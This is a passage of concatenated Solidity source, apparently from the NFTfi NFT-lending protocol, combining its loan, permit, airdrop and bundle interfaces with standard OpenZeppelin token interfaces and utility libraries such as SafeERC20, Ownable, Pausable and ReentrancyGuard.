* @dev DirectLoanCoordinator interface.
*/
interface IDirectLoanCoordinator {
enum StatusType {
NOT_EXISTS,
NEW,
RESOLVED
}
/**
* @notice This struct contains data related to a loan
*
* @param smartNftId - The id of both the promissory note and obligation receipt.
* @param status - The status in which the loan currently is.
* @param loanContract - Address of the LoanType contract that created the loan.
*/
struct Loan {
address loanContract;
uint64 smartNftId;
StatusType status;
}
function registerLoan(address _lender, bytes32 _loanType) external returns (uint32);
function mintObligationReceipt(uint32 _loanId, address _borrower) external;
function resolveLoan(uint32 _loanId) external;
function promissoryNoteToken() external view returns (address);
function obligationReceiptToken() external view returns (address);
function getLoanData(uint32 _loanId) external view returns (Loan memory);
function isValidLoanId(uint32 _loanId, address _loanContract) external view returns (bool);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
/**
* @title INftTypeRegistry
* @author NFTfi
* @dev Interface for NFT Wrappers.
*/
interface INftWrapper {
function transferNFT(
address from,
address to,
address nftContract,
uint256 tokenId
) external returns (bool);
function isOwner(
address owner,
address nftContract,
uint256 tokenId
) external view returns (bool);
function wrapAirdropReceiver(
address _recipient,
address _nftContract,
uint256 _nftId,
address _beneficiary
) external returns (bool);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
interface IPermittedPartners {
function getPartnerPermit(address _partner) external view returns (uint16);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
interface IPermittedERC20s {
function getERC20Permit(address _erc20) external view returns (bool);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
interface IPermittedNFTs {
function setNFTPermit(address _nftContract, string memory _nftType) external;
function getNFTPermit(address _nftContract) external view returns (bytes32);
function getNFTWrapper(address _nftContract) external view returns (address);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
interface IAirdropFlashLoan {
function pullAirdrop(
address _nftCollateralContract,
uint256 _nftCollateralId,
address _nftWrapper,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount,
address _beneficiary
) external;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
/**
* @title IAirdropReceiver
* @author NFTfi
* @dev
*/
interface IAirdropReceiverFactory {
function createAirdropReceiver(address _to) external returns (address, uint256);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*
* Modified version from openzeppelin/contracts/access/Ownable.sol that allows to
* initialize the owner using a parameter in the constructor
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address _initialOwner) {
_setOwner(_initialOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address _newOwner) public virtual onlyOwner {
require(_newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(_newOwner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Sets the owner.
*/
function _setOwner(address _newOwner) private {
address oldOwner = _owner;
_owner = _newOwner;
emit OwnershipTransferred(oldOwner, _newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol)
pragma solidity ^0.8.0;
import "../IERC721Receiver.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
interface IBundleBuilder {
/**
* @notice data of a erc721 bundle element
*
* @param tokenContract - address of the token contract
* @param id - id of the token
* @param safeTransferable - wether the implementing token contract has a safeTransfer function or not
*/
struct BundleElementERC721 {
address tokenContract;
uint256 id;
bool safeTransferable;
}
/**
* @notice data of a erc20 bundle element
*
* @param tokenContract - address of the token contract
* @param amount - amount of the token
*/
struct BundleElementERC20 {
address tokenContract;
uint256 amount;
}
/**
* @notice data of a erc20 bundle element
*
* @param tokenContract - address of the token contract
* @param ids - list of ids of the tokens
* @param amounts - list amounts of the tokens
*/
struct BundleElementERC1155 {
address tokenContract;
uint256[] ids;
uint256[] amounts;
}
/**
* @notice the lists of erc721-20-1155 tokens that are to be bundled
*
* @param erc721s list of erc721 tokens
* @param erc20s list of erc20 tokens
* @param erc1155s list of erc1155 tokens
*/
struct BundleElements {
BundleElementERC721[] erc721s;
BundleElementERC20[] erc20s;
BundleElementERC1155[] erc1155s;
}
/**
* @notice used by the loan contract to build a bundle from the BundleElements struct at the beginning of a loan,
* returns the id of the created bundle
*
* @param _bundleElements - the lists of erc721-20-1155 tokens that are to be bundled
* @param _sender sender of the tokens in the bundle - the borrower
* @param _receiver receiver of the created bundle, normally the loan contract
*/
function buildBundle(
BundleElements memory _bundleElements,
address _sender,
address _receiver
) external returns (uint256);
/**
* @notice Remove all the children from the bundle
* @dev This method may run out of gas if the list of children is too big. In that case, children can be removed
* individually.
* @param _tokenId the id of the bundle
* @param _receiver address of the receiver of the children
*/
function decomposeBundle(uint256 _tokenId, address _receiver) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/SignatureChecker.sol)
pragma solidity ^0.8.0;
import "./ECDSA.sol";
import "../Address.sol";
import "../../interfaces/IERC1271.sol";
/**
* @dev Signature verification helper that can be used instead of `ECDSA.recover` to seamlessly support both ECDSA
* signatures from externally owned accounts (EOAs) as well as ERC1271 signatures from smart contract wallets like
* Argent and Gnosis Safe.
*
* _Available since v4.1._
*/
library SignatureChecker {
/**
* @dev Checks if a signature is valid for a given signer and data hash. If the signer is a smart contract, the
* signature is validated against that smart contract using ERC1271, otherwise it's validated using `ECDSA.recover`.
*
